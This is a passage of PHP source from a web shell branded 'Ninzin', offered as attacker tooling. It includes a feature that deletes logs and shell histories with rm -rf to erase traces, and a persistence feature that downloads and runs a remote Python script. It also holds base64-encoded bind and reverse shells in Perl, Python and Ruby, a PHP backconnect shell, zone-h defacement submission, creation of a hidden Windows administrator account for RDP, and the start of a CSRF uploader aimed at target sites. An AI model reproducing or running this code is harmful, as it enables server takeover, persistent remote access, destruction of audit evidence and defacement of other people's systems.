/var/adm"); exec("rm -rf /etc/wtmp"); exec("rm -rf /etc/utmp"); exec("rm -rf {$HISTFILE}"); exec("rm -rf /var/log/lastlog"); exec("rm -rf /var/log/wtmp"); shell_exec("rm -rf /tmp/logs"); shell_exec("rm -rf /root/.ksh_history"); shell_exec("rm -rf /root/.bash_history"); shell_exec("rm -rf /root/.bash_logout"); shell_exec("rm -rf /usr/local/apache/logs"); shell_exec("rm -rf /usr/local/apache/log"); shell_exec("rm -rf /var/apache/logs"); shell_exec("rm -rf /var/apache/log"); shell_exec("rm -rf /var/run/utmp"); shell_exec("rm -rf /var/logs"); shell_exec("rm -rf /var/log"); shell_exec("rm -rf /var/adm"); shell_exec("rm -rf /etc/wtmp"); shell_exec("rm -rf /etc/utmp"); shell_exec("rm -rf {$HISTFILE}"); shell_exec("rm -rf /var/log/lastlog"); shell_exec("rm -rf /var/log/wtmp"); passthru("rm -rf /tmp/logs"); passthru("rm -rf /root/.ksh_history"); passthru("rm -rf /root/.bash_history"); passthru("rm -rf /root/.bash_logout"); passthru("rm -rf /usr/local/apache/logs"); passthru("rm -rf /usr/local/apache/log"); passthru("rm -rf /var/apache/logs"); passthru("rm -rf /var/apache/log"); passthru("rm -rf /var/run/utmp"); passthru("rm -rf /var/logs"); passthru("rm -rf /var/log"); passthru("rm -rf /var/adm"); passthru("rm -rf /etc/wtmp"); passthru("rm -rf /etc/utmp"); passthru("rm -rf {$HISTFILE}"); passthru("rm -rf /var/log/lastlog"); passthru("rm -rf /var/log/wtmp"); system("rm -rf /tmp/logs"); sleep(2); echo "<center><br>Deleting .../tmp/logs</center>"; sleep(2); system("rm -rf /root/.bash_history"); sleep(2); echo "<center><p>Deleting .../root/.bash_history </p></center>"; system("rm -rf /root/.ksh_history"); sleep(2); echo "<center><p>Deleting .../root/.ksh_history </p></center>"; system("rm -rf /root/.bash_logout"); sleep(2); echo "<center><p>Deleting .../root/.bash_logout </p></center>"; system("rm -rf /usr/local/apache/logs"); sleep(2); echo "<center><p>Deleting .../usr/local/apache/logs </p></center>"; system("rm -rf /usr/local/apache/log"); sleep(2); echo "<center><p>Deleting .../usr/local/apache/log </p></center>"; system("rm -rf /var/apache/logs"); sleep(2); echo "<center><p>Deleting .../var/apache/logs </p></center>"; system("rm -rf /var/apache/log"); sleep(2); echo "<center><p>Deleting .../var/apache/log </p></center>"; system("rm -rf /var/run/utmp"); sleep(2); echo "<center><p>Deleting .../var/run/utmp </p></center>"; system("rm -rf /var/logs"); sleep(2); echo "<center><p>Deleting .../var/logs </p></center>"; system("rm -rf /var/log"); sleep(2); echo "<center><p>Deleting .../var/log </p></center>"; system("rm -rf /var/adm"); sleep(2); echo "<center><p>Deleting .../var/adm </p></center>"; system("rm -rf /etc/wtmp"); sleep(2); echo "<center><p>Deleting .../etc/wtmp </p></center>"; system("rm -rf /etc/utmp"); sleep(2); echo "<center><p>Deleting .../etc/utmp </p></center>"; system("rm -rf /var/log/lastlog"); sleep(2); echo "<center><p>Deleting .../var/log/lastlog </p></center>"; system("rm -rf /var/log/wtmp"); sleep(2); echo "<center><p>Deleting .../var/log/wtmp </p></center>"; sleep(4); echo "<center><br><br><p><font color="green">Your Traces Has Been Successfully Deleting ...From the Server</font></p></center>"; echo "</td></tr></table>"; } elseif (isset($_GET["lockshell"])) { echo "<html><br>\xa <center><font face='Bungee Outline' size='25px'>Lock Shell / File</font><br>
<font color='yellow' size='3'>This feature only locks shell/file permissions, please use <font color='lime'>Anti Delete Shell</font> if you don't want your shell to be lost.</font><br>\xa <font color='yellow' size='3'>*Note : This feature can only be used on Linux systems</font>\xa <br>\xa <form method='post' style='font-size:25px;'>\xa <input type='hidden' name='url' size='50' height='10' value='{$lokasi}' class='up' style='width: 450px; cursor: pointer; border-color: #fff' required><br>\xa <font size='5'>Filename: </font><input type='text' name='pf' size='50' height='10' placeholder='index.php' class='up' style='width: 450px; cursor: pointer; border-color: #fff' required><br>\xa <input type='submit' name='d' value='Lock Now!'>
</form></center><br>"; if (isset($_POST["url"])) { $url = $_POST["url"]; $pf = $_POST["pf"]; $fix_path = "{$url}/{$pf}"; $d = $_POST["d"]; } if (isset($d)) { exec("chmod 444 {$fix_path}"); shell_exec("chmod 444 {$fix_path}"); system("chmod 444 {$fix_path}"); sleep(4); echo "<center><p><font color="green">" . $pf . " has been successfully locked....</font></p>"; echo "</td></tr></table>"; } } elseif (isset($_GET["antikillshell"])) { echo "<html><br>\xa <center><font face='Bungee Outline' size='25px'>Anti Delete Shell</font><br>
<font color='yellow' size='3'>By using this feature your shell will not be deleted, if it is deleted it will reappear.</font><br>
<font color='yellow' size='3'>if within 40 seconds the page is still loading... Please refresh and open <font color='cyan'>{$lokasi}/yourfilename</font> in new browser </font><br>\xa <font color='yellow' size='3'>*Note : This feature can only be used if python <font color='lime'>ON</font></font>
<br>
<form method='post' style='font-size:25px;'>
<input type='hidden' name='url' size='50' height='10' value='{$lokasi}' class='up' style='width: 450px; cursor: pointer; border-color: #fff' required><br>\xa <font size='5'>Filename: </font><input type='text' name='pf' size='50' height='10' placeholder='index.php' class='up' style='width: 450px; cursor: pointer; border-color: #fff' required><br>\xa <input type='submit' name='d' value='Lock Now!'>\xa </form></center><br>"; if (isset($_POST["url"])) { $url = $_POST["url"]; $pf = $_POST["pf"]; $fix_path = "{$url}/{$pf}"; $pathdir = "data = '{$fix_path}'"; $pathini = @fopen("/tmp/modul.py", "w"); $d = $_POST["d"]; } if (isset($d)) { fwrite($pathini, $pathdir); exec("wget -q https://raw.githubusercontent.com/xzourt/antideleteshell/main/system.py -O /tmp/system.py"); exec("nohup python /tmp/system.py &"); shell_exec("nohup python /tmp/system.py &"); system("nohup python /tmp/system.py &"); sleep(5); exec("chmod 444 {$fix_path}"); shell_exec("chmod 444 {$fix_path}"); system("chmod 444 {$fix_path}"); exec("chmod 444 /tmp/system.py"); shell_exec("chmod 444 /tmp/system.py"); system("chmod 444 /tmp/system.py"); exec("chmod 444 /tmp/modul.py"); shell_exec("chmod 444 /tmp/modul.py"); system("chmod 444 /tmp/modul.py"); sleep(5); echo "<center><p><font color='green'><a href='{$fix_path}'>'{$pf}' has been successfully forever....</a></font></p><br><p>Pass Shell: xzourt123</p>"; echo "</td></tr></table>"; } } elseif (isset($_GET["moretools"])) { echo "<html><br>
<center><font face='Bungee Outline' size='25px'>Coming Soon</font><br>\xa <font color='yellow' size='3'>*Note : Join the telegram channel for more information ==> <a href='https://t.me/ninzinwebshell'><font color='cyan'>@Ninzinwebshell</font></a></font><br><br>
<br>"; if (isset($_POST["url"])) { $url = $_POST["url"]; $pf = $_POST["pf"]; $fix_path = "{$url}/{$pf}"; $d = $_POST["d"]; } } elseif (isset($_GET["backconnect"])) { echo "<br><br><center><form method=post>\xa <font face='Bungee' size='6'>Network Tools</font><br/>\xa<br> <span>Bind port to /bin/sh [Perl]</span><br/>
\x9Port: <input type='text' name='port' class='up' style='cursor: pointer; border-color: #fff' value='443'> <input type=submit name=bpl value='=>>'>
<br><br>
<span>Back-connect</span><br/>
\x9Server: <input type='text' name='server' class='up' style='cursor: pointer; border-color: #fff' placeholder='" . $_SERVER["REMOTE_ADDR"] . "'> Port: <input type='text' name='port' class='up' style='cursor: pointer; border-color: #fff' placeholder='1337'> <select class='select' name='backconnect' class='up' style='width: 100px; border-color: #fff;' height='10'><option value='perl'>Perl</option><option value='php'>PHP</option><option value='python'>Python</option><option value='ruby'>Ruby</option></select>\xa <input type=submit value='>>'>"; if (isset($_POST["bpl"])) { $bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="); $brt = @fopen("bp.pl", "w"); fwrite($brt, $bp); $out = exe("perl bp.pl " . $_POST["port"] . " 1>/dev/null 2>&1 &"); sleep(1); echo "<pre>{$out}
" . exe("ps aux | grep bp.pl") . "</pre>"; unlink("bp.pl"); } if ($_POST["backconnect"] == "perl") { $bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"); $plbc = @fopen("bc.pl", "w"); fwrite($plbc, $bc); $out = exe("perl bc.pl " . $_POST["server"] . " " . $_POST["port"] . " 1>/dev/null 2>&1 &"); sleep(1); echo "<pre>{$out}\xa" . exe("ps aux | grep bc.pl") . "</pre>"; unlink("bc.pl"); } if ($_POST["backconnect"] == "python") { $becaa = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ=="); $pbcaa = @fopen("bcpyt.py", "w"); fwrite($pbcaa, $becaa); $out1 = exe("python bcpyt.py " . $_POST["server"] . " " . $_POST["port"]); sleep(1); echo "<pre>{$out1}
" . exe("ps aux | grep bcpyt.py") . "</pre>"; unlink("bcpyt.py"); } if ($_POST["backconnect"] == "ruby") { $becaak = base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k"); $pbcaak = @fopen("bcruby.rb", "w"); fwrite($pbcaak, $becaak); $out2 = exe("ruby bcruby.rb " . $_POST["server"] . " " . $_POST["port"]); sleep(1); echo "<pre>{$out2}\xa" . exe("ps aux | grep bcruby.rb") . "</pre>"; unlink("bcruby.rb"); } if ($_POST["backconnect"] == "php") { $ip = $_POST["server"]; $port = $_POST["port"]; $sockfd = fsockopen($ip, $port, $errno, $errstr); if ($errno != 0) { echo "<font color='red'>{$errno} : {$errstr}</font>"; } else { if (!$sockfd) { $result = "<p>Unexpected error has occured, connection may have failed.</p>"; } else { fputs($sockfd, "
\xa{################################################################}
\xa..:: BackConnect Php By Ninzin ::..\xa \xa{################################################################}
"); $dir = shell_exec("pwd"); $sysinfo = shell_exec("uname -a"); $time = Shell_exec("time"); $len = 1337; fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "
\xa"); while (!feof($sockfd)) { $cmdPrompt = "[Ninzin~jp]#:> "; fputs($sockfd, $cmdPrompt); $command = fgets($sockfd, $len); fputs($sockfd, "\xa" . shell_exec($command) . "\xa\xa"); } fclose($sockfd); } } } echo "</p></div>"; } elseif (isset($_GET["logout"])) { unset($_SESSION[md5($_SERVER["HTTP_HOST"])]); echo "<script>window.location='?';</script>"; } elseif (isset($_GET["zoneh"])) { if (isset($_POST["submit"])) { $domain = explode("\xd\xa", $_POST["url"]); $nick = $_POST["nick"]; echo "<center>Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier={$nick}/published=0' target='_blank'>http://www.zone-h.org/archive/notifier={$nick}/published=0</a><br></center>"; echo "<center>Defacer Archive: <a href='http://www.zone-h.org/archive/notifier={$nick}' target='_blank'>http://www.zone-h.org/archive/notifier={$nick}</a><br><br></center>"; function zoneh($url, $nick) { $ch = curl_init("http://www.zone-h.com/notify/single"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer={$nick}&domain1={$url}&hackmode=1&reason=1&submit=Send"); return curl_exec($ch); curl_close($ch); } foreach ($domain as $url) { $zoneh = zoneh($url, $nick); if (preg_match("/color="red">OK<\/font><\/li>/i", $zoneh)) { echo "<center>{$url} -> <font color=lime>OK</font><br></center>"; } else { echo "<center>{$url} -> <font color=red>ERROR</font><br></center>"; } } } else { echo "<center><form method='post'>
\x9\x9<u>Defacer</u>: <br>\xa\x9\x9<input type='text' name='nick' size='50' class='up' style='width: 450px; cursor: pointer; border-color: #fff' value='Ninzin'><br>
\x9 <u>Domains</u>: <br>\xa\x9 <textarea class='up' style='width: 450px; height: 200px; cursor: pointer; border-color: #fff' name='url'></textarea><br>
\x9 <input type='submit' name='submit' value='Submit' style='width: 450px;'>\xa </form><br>"; } echo "</center>"; } elseif (isset($_GET["hasgen"])) { $submit = isset($_POST["enter"]); if (isset($submit)) { $pass = $_POST["password"]; $salt = "}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN"; $hash = md5($pass); $md4 = hash("md4", $pass); $hash_md5 = md5($salt . $pass); $hash_md5_double = md5(sha1($salt . $pass)); $hash1 = sha1($pass); $sha256 = hash("sha256", $pass); $hash1_sha1 = sha1($salt . $pass); $hash1_sha1_double = sha1(md5($salt . $pass)); } echo "<form action="" method="post">"; echo "<center><h2>Hash Generator</h2>"; echo "<table>"; echo "Masukkan teks yang ingin di encrypt: "; echo "<input class="up" type="text" name="password" style="width: 450px; cursor: pointer; border-color: #fff">"; echo "<input class="inputzbut" type="submit" name="enter" value="Hash!">"; echo "<br>"; echo "Original Password: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $pass . "><br><br>"; echo "MD5: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $hash . "><br><br>"; echo "MD4: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $md4 . "><br><br>"; echo "MD5 with Salt: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $hash_md5 . "><br><br>"; echo "MD5 with Salt & Sha1: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $hash_md5_double . "><br><br>"; echo "Sha1: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $hash1 . "><br><br>"; echo "Sha256: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $sha256 . "><br><br>"; echo "Sha1 with Salt: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $hash1_sha1 . "><br><br>"; echo "Sha1 with Salt & MD5: <input class=up type=text style="width: 450px; cursor: pointer; border-color: #fff" value=" . $hash1_sha1_double . "></center></table><br>"; } elseif (isset($_GET["createrdp"])) { if (strtolower(substr(PHP_OS, 0, 3)) === "win") { if (isset($_POST["create"])) { $user = htmlspecialchars($_POST["user"]); $pass = htmlspecialchars($_POST["pass"]); if (preg_match("/{$user}/", exe("net user"))) { echo "[INFO] -> <font color=red>user <font color=lime>{$user}</font> sudah ada Boskuhh</font>"; } else { $add_user = exe("net user {$user} {$pass} /add"); $add_groups1 = exe("net localgroup Administrators {$user} /add"); $add_groups2 = exe("net localgroup Administrator {$user} /add"); $add_groups3 = exe("net localgroup Administrateur {$user} /add"); echo "
<div class='text-center'>\xa <div class='d-flex justify-content-center flex-wrap' align='center'>
[ RDP ACCOUNT INFO ]<br>
------------------------------<br>\xa IP: <font color=lime>" . ipserv() . "</font><br>
Username: <font color=lime>{$user}</font><br>\xa Password: <font color=lime>{$pass}</font><br>\xa ------------------------------<br><br>
[ STATUS ]<br>\xa ------------------------------<br>\xa </div>
</div>"; if ($add_user) { echo "<div align='center'>[add user] -></font><font align='center' color='lime'>Berhasil Nih Boskuhhh</font></div><br>"; } else { echo "<div align='center'>[add user] -></font><font color='red'>Gagal Boskuhhh</font></div><br>"; } if ($add_groups1) { echo "<div align='center'>[add localgroup Administrators] -> <font color='lime'>Berhasil Njenc</div></font><br>"; } elseif ($add_groups2) { echo "<div align='center'>[add localgroup Administrator] -> <font color='lime'>Berhasil Njenc</font></div><br>"; } elseif ($add_groups3) { echo "<div align='center'>[add localgroup Administrateur] -> <font color='lime'>Berhasil Njenc</font></div><br>"; } else { echo "<div align='center'>[add localgroup] -> <font color='red'>Gagal Boskuhhh</font></div><br>"; } echo "<div align='center'>------------------------------</div><br>"; } } elseif (isset($_POST["s_opsi"])) { $user = htmlspecialchars($_POST["r_user"]); if ($_POST["opsi"] == "1") { $cek = exe("net user {$user}"); echo "<div align='center'>Checking username <font color=lime>{$user}</font> ....... </div>"; if (preg_match("/{$user}/", $cek)) { echo "<div align='center'>
[ <font color=lime>Sudah ada Inject</font> ]<br>
------------------------------<br><br>
<pre>{$cek}</pre></div>"; } else { echo "<div align='center'>[ <font color=red>belum ada njenc</font> ]</div>"; } } elseif ($_POST["opsi"] == "2") { $cek = exe("net user {$user} Ninzin"); if (preg_match("/{$user}/", exe("net user"))) { echo "<div align='center'>[change password: <font color=lime>indoxploit</font>] -> </div>"; if ($cek) { echo "<div align='center'><font color=lime>Berhasil Inject</font></div>"; } else { echo "<div align='center'><font color=red>Gagal Boskuhh</font></div>"; } } else { echo "<div align='center'>[INFO] -> <font color=red>user <font color=lime>{$user}</font> belum ada</font></div>"; } } elseif ($_POST["opsi"] == "3") { $cek = exe("net user {$user} /DELETE"); if (preg_match("/{$user}/", exe("net user"))) { echo "<div align='center'>[remove user: <font color=lime>{$user}</font>] -></div>"; if ($cek) { echo "<div align='center'><font color=lime>Berhasil Inject</font><div>"; } else { echo "<div align='center'><font color=red>Gagal Boskuhh</font></div>"; } } else { echo "<div align='center'>[INFO] -> <font color=red>user <font color=lime>{$user}</font> belum ada</font></div>"; } } else { } } else { echo "
<div class='text-center'>\xa <div class='d-flex justify-content-center flex-wrap' align='center'>\xa -- Create RDP --<br>
<form method='post'>
<input type='text' name='user' placeholder='username' class='up' style='width: 200px; cursor: pointer; border-color: #fff' value='Ninzin' required>
<input type='text' name='pass' placeholder='password' class='up' style='width: 200px; cursor: pointer; border-color: #fff' value='NinzinBeauty123@' required>
<input type='submit' name='create' value='=>>'>
</form>\xa <br>-- Option --<br>
<form method='post'>
<input type='text' name='r_user' placeholder='username' class='up' style='width: 200px; cursor: pointer; border-color: #fff' required>
<select name='opsi' style='border-color: #fff'>
<option value='1'>Cek Username</option>\xa <option value='2'>Ubah Password</option>
<option value='3'>Hapus Username</option>
</select>
<input type='submit' name='s_opsi' value='=>>'>\xa </form>\xa </div>
</div><br>
"; } } else { echo "<center><font color=red>ID = Fitur ini hanya dapat digunakan dalam Windows Server Ya Gais!<br>EN = This feature can only be used in Windows Server. Yes Guys !</font></center>"; } } elseif (isset($_GET["csrfup"])) { echo "<html><br>
<center><font size="25px">CSRF Uploader</font><br><br>
<font size="3">*Note : Post File, Type : Filedata / dzupload / dzfile / dzfiles / file / ajaxfup / files[] / qqfile / userfile / etc</font>\xa\x9<br><br>\xa <form method="post" style="font-size:25px;">
\x9URL: <input type="text" name="url" size="50" height="10" placeholder="http://www.target.com/path/upload.php" class="up" style="width: 450px; cursor: pointer; border-color: #fff" required><br>
